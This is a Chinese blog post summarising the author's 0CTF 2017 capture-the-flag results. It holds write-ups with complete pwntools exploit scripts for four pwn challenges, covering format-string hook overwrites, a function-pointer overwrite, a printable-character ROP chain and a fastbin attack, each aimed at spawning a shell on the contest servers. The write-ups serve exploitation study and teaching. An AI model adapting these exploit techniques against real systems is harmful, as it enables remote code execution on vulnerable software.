0ctf2017赛后总结

这个周末,连续两天的比赛让人吃不消,今天早上也是困的不行。因为是国际赛,题目质量感觉挺高(可能是因为我太菜了),这里做一个总结。这次总共做了四道pwn题,都是比较经典的漏洞利用。

EasiestPrintf

能够利用一次的字符串格式化漏洞,但是程序随机抬高栈顶,导致没有办法利用printf修改函数返回地址。加上程序执行printf后马上执行了exit(0)函数,所以必须在执行完printf函数后就能够控制eip

void __noreturn leave()
{
  signed int i; // [sp+8h] [bp-B0h]@1
  char s[160]; // [sp+Ch] [bp-ACh]@1
  int v2; // [sp+ACh] [bp-Ch]@1

  v2 = *MK_FP(__GS__, 20);
  memset(s, 0, 0xA0u);
  puts("Good Bye");
  for ( i = 0; i <= 158; ++i )
  {
    if ( read(0, &s[i], 1u) != 1 )
      exit(-1);
    if ( s[i] == '\n' )
      break;
  }
  printf(s);
  exit(0);
}

但是,程序提供了一次读取任意地址数据的机会,这里我选择泄露libc的地址。printf函数在输出的内容较多的时候,会调用malloc分配缓冲区,输出结束后会调用free释放申请的内存。这里我的策略是先把_free_hook修改为leave函数的入口地址,同时往指定内存写入一个"sh\x00"字符串,第二次触发漏洞时修改__malloc_hook为system地址,输出的字符数量为保存"sh\x00"字符串的地址,那么在触发malloc操作时就可以getshell了。下面是完整的利用代码

from pwn import *
local = 0
debug = 0

if local: 
    p = process('./easyprintf')
    libc = ELF('/lib32/libc-2.24.so')
else:
    p = remote('202.120.7.210', 12321)
    libc = ELF('libc.so.6')

if local and debug: gdb.attach(p, open('debug'))
p.recvuntil('you wanna read:')

exit_got = 0x08049FCC
read_got = 0x8049fc4
p.sendline(str(read_got))

print p.recvline()
read_addr = int(p.recvline(), 16)
print 'read_addr is', hex(read_addr)
base_addr = read_addr - libc.symbols['read']
print 'libc_base addr is', hex(base_addr)
free_hook_addr = base_addr + libc.symbols['__free_hook']
print 'free_hook addr is', hex(free_hook_addr)

leave_fun = 0x08048771
ret = 0x08048770


p.recvuntil('Good Bye')

def generate_format(addr_value):
    payload = ''
    print_count = 0
    j = 0
    addr_part = ''
    for addr, value in addr_value:
        for i in range(4):
            one_byte = (value >> (8*i)) & 0xff
            #print one_byte
            payload += '%{0}c%{1}$hhn'.format((one_byte - print_count) % 0x100, 32 + i + j)
            print_count += (one_byte - print_count) % 0x100
            #print (one_byte - print_count) % 0x100
            addr_part += p32(addr + i)
        j += 4

    payload = payload.ljust(100, 'a')
    payload += addr_part
    return payload

def generate_format_special(addr, value):
        # 处理__malloc_hook地址中的换行符
    payload = ''
    addr_part = ''
    print_count = 0

    one_byte = value & 0xff
    payload += '%{0}c%{1}$hhn'.format((one_byte - print_count) % 0x100, 32)
    print_count += (one_byte - print_count) % 0x100
    addr_part += p32(addr)

    one_byte = (value >> 8) & 0xffff
    payload += '%{0}c%{1}$hn'.format((one_byte - print_count) % 0x10000, 33)
    print_count += (one_byte - print_count) % 0x10000
    addr_part += p32(addr + 1)

    one_byte = (value >> 24) & 0xff
    payload += '%{0}c%{1}$hhn'.format((one_byte - print_count) % 0x100, 34)
    print_count += (one_byte - print_count) % 0x100
    addr_part += p32(addr+3)

    payload = payload.ljust(100, 'a')
    payload += addr_part
    return payload

bss_addr = 0x804a0b0
payload = generate_format([(free_hook_addr, leave_fun), (bss_addr, u32('sh\x00\x00'))])
payload += '%1000000cEND'
assert len(payload) <= 158
print payload
p.sendline(payload)
#p.recvuntil('Good Bye')

malloc_hook_addr = base_addr + libc.symbols['__malloc_hook']
print 'malloc_hook_addr is', hex(malloc_hook_addr)
system_addr = base_addr + libc.symbols['system']
print 'system_addr is', hex(system_addr)

if local:
    payload = generate_format([(malloc_hook_addr, system_addr)])
else:
    payload = generate_format_special(malloc_hook_addr, system_addr)

payload += '%{0}c'.format(bss_addr - 0x20)
p.sendline(payload)


p.interactive()

diethard

这道题并没有找到漏洞的原因,做的时候随手试了一下,发现可以覆盖函数指针,于是就有了下面的代码

from pwn import *

debug = 1
slog = 0
local = 0

if local:
    p=process('./diethard')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
else:
    p = remote('202.120.7.194', 6666)   
    libc = ELF('libc.so')   

if slog: context.log_level = True

def add(length,message = 'a'):
    print p.recvuntil('Exit')
    p.sendline('1')
    p.recvuntil('Length:')
    p.sendline(str(length))
    p.recvuntil('Message:')
    p.sendline(message)

def delete(index):
    p.recvuntil('Exit')
    p.sendline('2')
    p.recvuntil('Delete?')
    p.sendline(str(index))

def exit():
    p.recvuntil('Exit')
    p.sendline('3')

binf = ELF('diethard')

add(100)
add(100)
add(100)
add(1000, 'a')
add(1000, 'b')
delete(0)
add(2046, 'e'*16 + p64(binf.got['puts']) + p64(binf.plt['puts']))
if debug and local: gdb.attach(pidof(p)[-1],open('debug'))

p.recvuntil('Exit')
p.sendline('2')
p.recvuntil('3. ')
puts_addr = u64(p.recv(6).ljust(8, '\x00'))
print 'puts addr is', hex(puts_addr)
base_addr = puts_addr - libc.symbols['puts']
print 'libc base_addr is', hex(base_addr)

system_addr = base_addr + libc.symbols['system'] 
print 'system addr is', hex(system_addr)
bin_sh_addr = base_addr + next(libc.search('/bin/sh'))
print '/bin/sh addr is', hex(bin_sh_addr)
p.recvuntil('Delete?')
p.sendline(str(0))

add(2046, 'e'*16 + p64(bin_sh_addr) + p64(system_addr))
p.recvuntil('Exit')
p.sendline('2')
p.interactive()

char

这道题一度想要放弃,但是看到那么多的队伍都出了,最终还是坚持做完了。
程序在初始化阶段把libc.so映射到了0x5555E000代码段中,权限为r_x,接着用scanf读入一个字符串,并限制字符范围在1E到7F之间,后面用strcpy触发栈溢出。那么很明显,本题就是用希望我们用可见字符来创建rop链,但是对输入的过滤导致很多gadget都不能使用。一开始想到了用gets和read函数来读入字符串,但是函数执行到一半就奔溃了,调试之后我认为程序当中只是对libc做了一个映射,但并没有初始化相关环境变量(比如stdout,stdin),所以导致函数没有办法正常执行。没有办法,只能控制寄存器去调int 80了。但是很多重要的gadget都没有办法直接使用,因此必须先寻找一个跳板

0x0001706b : pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0006812c : add esi, ebx ; ret
0x00119a49 : jmp esi

这三个gadget的组合可以极大的拓展可调用gadget的范围,剩下的就是寻找合适的gadget去控制寄存器了

from pwn import *
local = 0

if local:
    p = process('./char')
else:
    p = remote('202.120.7.214', 23222)
#gdb.attach(p, open('debug'))
p.recvuntil('GO')

jmp_esi = p32(0x55677a49)
add_esi_ebx = p32(0x555c612c)
pop_ebx_esi_edi_ebp = p32(0x5557506c)


def pop_eax_ebx_esi_edi_ebp(eax = 0x61616161, ebx = 0x61616161, esi = 0x61616161, edi = 0x61616161, ebp = 0x61616161):
     return p32(0x5557506b) + p32(eax) + p32(ebx) + p32(esi) + p32(edi) + p32(ebp)

def pop_ebx_esi_edi_ebp(ebx = 0x61616161, esi = 0x61616161, edi = 0x61616161, ebp = 0x61616161):
     return p32(0x5557506c) + p32(ebx) + p32(esi) + p32(edi) + p32(ebp)

# call read
payload = 'a'*32 + pop_ebx_esi_edi_ebp(ebx = 0x21212121, esi = 0x344a5f57) + add_esi_ebx + jmp_esi
payload += p32(0x55643028) + p32(0x55643028)
payload += pop_ebx_esi_edi_ebp(ebx = 0x34425a7c, esi = 0x2121717b) + add_esi_ebx + p32(0x55643028) + jmp_esi
payload += p32(0x5566797b) + jmp_esi

assert len(payload) < 1500
payload = payload.ljust(1500, 'A') 
p.sendline(payload)

# write new ropgadget
p.sendline('a'*96 + p32(0x5565a1f1) + p32(0) + p32(0) + p32(0x556bb7ec) + p32(0x55650781) + p32(0xb) + p32(0x55667177))
p.interactive()

babyheap

十分明显的堆溢出,但程序开启了PIE,从堆上没有办法泄露代码段地址信息,但可以泄露堆地址和libc地址,然后再利用fastbin attack去修改__free_hook。因为程序使用的是calloc分配内存,所以通过直接分配新内存去泄露地址是不可行的。这里可以先分配一块比较大的内存,然后通过fastbin attack去在这一块内存中间分配一块小内存,这样就可以通过输出大块内存内容的方式泄露地址信息了。泄露过程如下

allocate(200)   #0
fill(0, 0x40, 'a'*16 + p64(0) + p64(0x21) + p64(0)*3 + p64(0x91) + p64(0)*13 + p64(0x21))
allocate(10)   #0,1
allocate(10)   #0,1,2
allocate(10)   #0,1,2,3
allocate(10)   #0,1,2,3,4
allocate(10)   #0,1,2,3,4,5
delete(1)      #0,2,3,4,5
delete(3)      #0,2,4,5
fill(2, 0x21, 'a'*0x10 + p64(0) + p64(0x21) + '\x20')
allocate(10)   #0,1,2,4,5
allocate(10)   #0,1,2,3,4,5
delete(1)      #0,2,3,4,5
delete(3)      #0,2,4,5
fill(0, 0x20, 'a'*0x20)
dump(0)
p.recvuntil('a'*0x20)
heap_addr = u64(p.recv(8))
print 'heap addr is', hex(heap_addr)

fill(0, 0x20, 'a'*0x10 + p64(0) + p64(0x21))
allocate(30)   #0,1,2,4,5

allocate(0x100)
delete(3)

fill(0, 0x20, 'a'*0x20)
dump(0)
p.recvuntil('a'*0x20)
main_arena_addr = u64(p.recv(8))
print 'main_arena addr is', hex(main_arena_addr)

完成了第一步,接下来就是想办法去修改_free_hook变量了。实际在测试的时候发现,_free_hook前面相邻的区域全部是0,并没有办法通过fastbin attack在其附近区域分配内存(fastbin attack分配条件:具备对应大小的堆头信息,举个例子,如果想要分配0x70大小的内存,那么在指定地址上,应该出现0x81或0x80)。做到这里卡了很久,于是去买了一盒炒饭(做了一天,肚子快要饿爆了),吃完了饭,抱着随便看看心态继续看题,突然灵光乍现(看来还是应该按时吃饭),为什么不去自己构造一个堆头呢?那么问题来了,怎么在堆上写入0x80呢,答案还是fastbin attack


伪造next fastbin地址为0x30

触发后效果

那么接下来我们就可以fastbin attack得到指向main_arena的指针了,然后这个指针去修改top指针,这里我们将其指向__free_hook前较近的一段不为0的区域就可以了。再次调用malloc就可以获得top指针指向的内存,到这里,本题的坑基本就完了,下面是完整的利用代码:

from pwn import *

slog = 0
local = 1
debug = 0
if slog: context.log_level = True

if local:
    p = process('./babyheap')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
else:
    p = remote('202.120.7.218', 2017)
def allocate(size):
    p.recvuntil('Command:')
    p.sendline('1')
    p.recvuntil('Size')
    p.sendline(str(size))   

def fill(index, size, content):
    p.recvuntil('Command:')
    p.sendline('2')
    p.recvuntil('Index')
    p.sendline(str(index))  
    p.recvuntil('Size')
    p.sendline(str(size))   
    p.recvuntil('Content')
    p.sendline(content.ljust(size, 'a'))    
    

def delete(index):
    p.recvuntil('Command:')
    p.sendline('3')
    p.recvuntil('Index')
    p.sendline(str(index))  

def dump(index):
    p.recvuntil('Command:')
    p.sendline('4')
    p.recvuntil('Index')
    p.sendline(str(index))  


allocate(200)   #0
fill(0, 0x40, 'a'*16 + p64(0) + p64(0x21) + p64(0)*3 + p64(0x91) + p64(0)*13 + p64(0x21))
allocate(10)   #0,1
allocate(10)   #0,1,2
allocate(10)   #0,1,2,3
allocate(10)   #0,1,2,3,4
allocate(10)   #0,1,2,3,4,5
delete(1)      #0,2,3,4,5
delete(3)      #0,2,4,5
fill(2, 0x21, 'a'*0x10 + p64(0) + p64(0x21) + '\x20')
allocate(10)   #0,1,2,4,5
allocate(10)   #0,1,2,3,4,5
delete(1)      #0,2,3,4,5
delete(3)      #0,2,4,5
fill(0, 0x20, 'a'*0x20)
dump(0)
p.recvuntil('a'*0x20)
heap_addr = u64(p.recv(8))
print 'heap addr is', hex(heap_addr)

fill(0, 0x20, 'a'*0x10 + p64(0) + p64(0x21))
allocate(30)   #0,1,2,4,5

allocate(0x100)
delete(3)

fill(0, 0x20, 'a'*0x20)
dump(0)
p.recvuntil('a'*0x20)
main_arena_addr = u64(p.recv(8))
print 'main_arena addr is', hex(main_arena_addr)

fill(0, 0x20, 'a'*0x10 + p64(0) + p64(0x21))

allocate(0x70)
delete(3)

free_hook = main_arena_addr + 0x7f629d74c788 - 0x7f629d74ab58 
base_addr = free_hook - 0x39a788
fake_fastbin = base_addr + 0x39a7d0 - 8
system_addr = libc.symbols['system'] + base_addr
print 'free hook is', hex(free_hook)
print 'base addr is', hex(base_addr)
print 'fake_fastbin addr is', hex(fake_fastbin)
print 'system aadr is', hex(system_addr)

#fill(1, 0x38, 'a' * 0x20 + p64(0) + p64(0x81) + p64(fake_fastbin))
fill(1, 0x38, 'a' * 0x20 + p64(0) + p64(0x81) + p64(0x30))

allocate(0x70)

delete(1)
fill(5, 0x28, 'a'*24 + p64(0x31) + p64(main_arena_addr - 0x28))
allocate(0x20)
if debug and local: gdb.attach(p, open('debug'))
allocate(0x20)

payload = p64(0) * 3 +p64(base_addr + 0x399c30)
fill(6, len(payload), payload)
allocate(0x50)
payload = '\x00'*0xb48 + p64(system_addr) 
fill(7, len(payload), payload)
payload = '/bin/sh\x00'
fill(7, len(payload), payload)
delete(7)
p.interactive()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 199,519评论 5 468
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 83,842评论 2 376
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 146,544评论 0 330
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 53,742评论 1 271
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 62,646评论 5 359
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,027评论 1 275
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,513评论 3 390
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,169评论 0 254
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,324评论 1 294
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,268评论 2 317
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,299评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,996评论 3 315
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,591评论 3 303
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,667评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,911评论 1 255
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,288评论 2 345
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 41,871评论 2 341

推荐阅读更多精彩内容